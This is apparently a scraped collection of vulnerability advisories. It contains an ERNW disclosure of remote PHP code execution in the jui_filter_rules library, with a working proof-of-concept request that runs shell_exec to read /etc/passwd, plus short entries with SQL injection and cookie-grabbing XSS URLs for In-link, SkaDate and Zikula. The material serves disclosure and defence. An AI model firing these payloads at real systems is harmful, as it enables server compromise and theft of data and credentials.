Vendor informed: 6.2.2015
Response by vendor: 7.2.2015
Fix by vendor 12.2.2015
Public Advisory: 18.2.2015

----------------------------------------------------------------
HireHackking 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: RIPEMD160

PHP Code Execution in jui_filter_rules Parsing Library
======================================================
Researcher: Timo Schmid <tschmid@ernw.de>


Description
===========
jui_filter_rules[1] is a jQuery plugin which allows users to generate a
ruleset
which could be used to filter datasets inside a web application.

The plugin also provides a PHP library to turn the user submitted
ruleset into
SQL where statements for server side filtering.
This PHP library contains a feature which allows to convert the
submitted filter
values with server side functions. These functions can be specified
within the
ruleset, which leads to an arbitrary PHP code execution.


Exploitation Technique
======================
Remote


Severity Level
==============
Critical


CVSS Base Score
===============
6.8 (AV:N / AC:M / Au:N / C:P / I:P / A:P)


CVE-ID
======
<unassigned>


Impact
======
By using the provided rule parsing library to generate SQL statements, an
attacker is capable of executing arbitrary PHP code in the context of the
web server. This could lead to a full compromise of the web server. The
attack vector could be limited by existing validation mechanisms around the
library, but this would require a partial manual parsing of the user
supplied
rules.


Status
======
Reported


Vulnerable Code Section
=======================
server_side/php/jui_filter_rules.php:
[...]
private function create_filter_value_sql($filter_type, $operator_type, ...
[...]
    if(is_array($filter_value_conversion_server_side)) {
        $function_name =
$filter_value_conversion_server_side['function_name'];
        $args = $filter_value_conversion_server_side['args'];
        $arg_len = count($args);
        for($i = 0; $i < $vlen; $i++) {
            // create arguments values for this filter value
            $conversion_args = array();
            for($a = 0; $a < $arg_len; $a++) {
                if(array_key_exists('filter_value', $args[$a])) {
                    array_push($conversion_args, $a_values[$i]);
                }
                if(array_key_exists('value', $args[$a])) {
                    array_push($conversion_args, $args[$a]['value']);
                }
            }
            // execute user function and assign return value to filter value
            try {
                $a_values[$i] = call_user_func_array($function_name,
$conversion_args);
            } catch(Exception $e) {
                $this->last_error = array(
                    'element_rule_id' => $element_rule_id,
                    'error_message' => $e->getMessage()
                );
                break;
            }
        }
    }
[...]

The provided PHP parsing library allows to specify a PHP function to convert
the supplied filter value on the server side. This leads ultimatively to
code
execution through attacker supplied input. As no whitelist approach is used,
any existing PHP function could be executed (including shell commands).


Proof of Concept
================
Using the demo application from the git repository:

Executing shell_exec('cat /etc/passwd')

Request:
POST /ajax_create_sql.dist.php HTTP/1.0
host: http://www.example.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 471

a_rules%5B0%5D%5Bfilter_value_conversion_server_side%5D%5Bfunction_name%5D=she
ll_exec&a_rules%5B0%5D%5Bcondition%5D%5BfilterValue%5D=&a_rules%5B0%5D%5Bfilte
r_value_conversion_server_side%5D%5Bargs%5D%5B0%5D%5Bvalue%5D=cat+%2Fetc%2Fpas
swd&pst_placeholder=question_mark&a_rules%5B0%5D%5Belement_rule_id%5D=foo&use_
ps=yes&a_rules%5B0%5D%5Bcondition%5D%5Bfield%5D=some_field&a_rules%5B0%5D%5Bco
ndition%5D%5Boperator%5D=equal&a_rules%5B0%5D%5Bcondition%5D%5BfilterType%5D=d
ate

Response:
HTTP/1.1 200 OK
Date: Tue, 13 Jan 2015 02:12:33 GMT
Server: Apache/2.2.22 (Debian)
Content-Length: 530
Content-Type: text/html

{"sql":"WHERE \nsome_field = ?","bind_params":"root:x:0:0:admin
COSMOS:/root:/
bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\ns
ys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:ga
mes:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/va
r/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/s
pool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:pr
oxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh"}



Solution
========
This functionality should generally be removed or replaced by a mapping/
whitelist approach and strict type filtering to prevent arbitrary code
execution.


Affected Versions
=================
>= git commit b1e795eeba1bac2f9b0d383cd3da24d6d26ccb4b
< 1.0.6 (commit 0b61463cd02cc1814046b516242779b29ba7d1e1)


Timeline
========
2015-01-12: Vulnerability found
2015-01-13: Developer informed
2015-02-14: Fixed in version 1.0.6 (git
0b61463cd02cc1814046b516242779b29ba7d1e1)


References
==========
[1] http://www.pontikis.net/labs/jui_filter_rules
[2] https://www.owasp.org/index.php/Code_Injection
[3] https://www.ernw.de/download/BC-1501.txt
[4] https://bufferoverflow.eu/BC-1501.txt


Advisory-ID
===========
BC-1501


Disclaimer
==========
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO
warranties, implied or otherwise, with regard to this information or its
use.
Any use of this information is at the user's risk. In no event shall the
author/
distributor be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.

- -- 
Timo Schmid

ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg  -  www.ernw.de
Tel. +49 6221 48039-0 (HQ) - Fax +49 6221 419008 - Cell +49 151 16227192
PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0

Handelsregister Mannheim: HRB 337135
Geschaeftsfuehrer: Enno Rey

==============================================================
|| Blog: www.insinuator.net | | Conference: www.troopers.de ||
==============================================================
==================   TROOPERS15   ==================
*   International IT Security Conference & Workshops
*   16th - 20st March 2015 / Heidelberg, Germany
*   www.troopers.de
====================================================
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBAwAGBQJU5KMNAAoJEHq2kn1vJmzgroMIAIsvJOdkZLSIjp1bdczg7NFP
YBcVZNXXd7H2LES/bH20wGHMEke2YfL97CfjBk5R1OpBaialTHHi/HrzqbnWft2x
x+u7rOdG0Q+aAAakoBpO7wG1B97+bmXnR6ytgFtxgJO+dfWWwAxhjsqjQ0boRgMr
bzhFkHznlUV2s89n6vEBG2qnowSNqJgnWpbkyekCyISF87bh4nfuNDoj40+aCCNa
Iw3AO8S2bvgVqY980hovoCsW94764/65mVMr2dvTlQx3tR1zTra2km8yq0IOtdIs
AJ8dicIAN0EDuGQKFtLbxkShh4E9spXeQlFRmz1kLa76PELHzJWnyhKUB4o+uds=
=tnwW
-----END PGP SIGNATURE-----
HireHackking 
source: https://www.securityfocus.com/bid/49508/info

In-link is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

In-link 5.1.3 RC1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?t=sub_pages&cat=-1+Union+select+1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
HireHackking 
source: https://www.securityfocus.com/bid/49502/info

SkaDate is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/member/blogs.php?tag=blog+[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/49491/info

Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Zikula Application Framework 1.3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=theme&type=admin&func=setasdefault&themename=%3Cscript%3Ealert%28docu ment.cookie%29%3C/script%3E